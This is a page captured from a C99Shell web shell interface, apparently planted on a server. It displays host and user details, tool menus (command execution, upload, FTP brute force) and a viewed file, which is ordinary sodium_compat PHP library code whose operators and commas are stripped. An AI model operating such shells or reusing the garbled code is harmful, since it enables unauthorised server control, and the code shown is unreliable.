!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/paragonie/sodium_compat/src/Core32/SecretStream/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     State.php (3.57 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class ParagonIE_Sodium_Core32_SecretStream_State
 */
class ParagonIE_Sodium_Core32_SecretStream_State
{
    
/** @var string $key */
    
protected $key;

    
/** @var int $counter */
    
protected $counter;

    
/** @var string $nonce */
    
protected $nonce;

    
/** @var string $_pad */
    
protected $_pad;

    
/**
     * ParagonIE_Sodium_Core32_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    
public function __construct($key$nonce null)
    {
        
$this->key $key;
        
$this->counter 1;
        if (
is_null($nonce)) {
            
$nonce str_repeat("\0"12);
        }
        
$this->nonce str_pad($nonce12"\0"STR_PAD_RIGHT);;
        
$this->_pad str_repeat("\0"4);
    }

    
/**
     * @return self
     */
    
public function counterReset()
    {
        
$this->counter 1;
        
$this->_pad str_repeat("\0"4);
        return 
$this;
    }

    
/**
     * @return string
     */
    
public function getKey()
    {
        return 
$this->key;
    }

    
/**
     * @return string
     */
    
public function getCounter()
    {
        return 
ParagonIE_Sodium_Core32_Util::store32_le($this->counter);
    }

    
/**
     * @return string
     */
    
public function getNonce()
    {
        if (!
is_string($this->nonce)) {
            
$this->nonce str_repeat("\0"12);
        }
        if (
ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) {
            
$this->nonce str_pad($this->nonce12"\0"STR_PAD_RIGHT);
        }
        return 
$this->nonce;
    }

    
/**
     * @return string
     */
    
public function getCombinedNonce()
    {
        return 
$this->getCounter() .
            
ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 08);
    }

    
/**
     * @return self
     */
    
public function incrementCounter()
    {
        ++
$this->counter;
        return 
$this;
    }

    
/**
     * @return bool
     */
    
public function needsRekey()
    {
        return (
$this->counter 0xffff) === 0;
    }

    
/**
     * @param string $newKeyAndNonce
     * @return self
     */
    
public function rekey($newKeyAndNonce)
    {
        
$this->key ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce032);
        
$this->nonce str_pad(
            
ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce32),
            
12,
            
"\0",
            
STR_PAD_RIGHT
        
);
        return 
$this;
    }

    
/**
     * @param string $str
     * @return self
     */
    
public function xorNonce($str)
    {
        
$this->nonce ParagonIE_Sodium_Core32_Util::xorStrings(
            
$this->getNonce(),
            
str_pad(
                
ParagonIE_Sodium_Core32_Util::substr($str08),
                
12,
                
"\0",
                
STR_PAD_RIGHT
            
)
        );
        return 
$this;
    }

    
/**
     * @param string $string
     * @return self
     */
    
public static function fromString($string)
    {
        
$state = new ParagonIE_Sodium_Core32_SecretStream_State(
            
ParagonIE_Sodium_Core32_Util::substr($string032)
        );
        
$state->counter ParagonIE_Sodium_Core32_Util::load_4(
            
ParagonIE_Sodium_Core32_Util::substr($string324)
        );
        
$state->nonce ParagonIE_Sodium_Core32_Util::substr($string3612);
        
$state->_pad ParagonIE_Sodium_Core32_Util::substr($string488);
        return 
$state;
    }

    
/**
     * @return string
     */
    
public function toString()
    {
        return 
$this->key .
            
$this->getCounter() .
            
$this->nonce .
            
$this->_pad;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--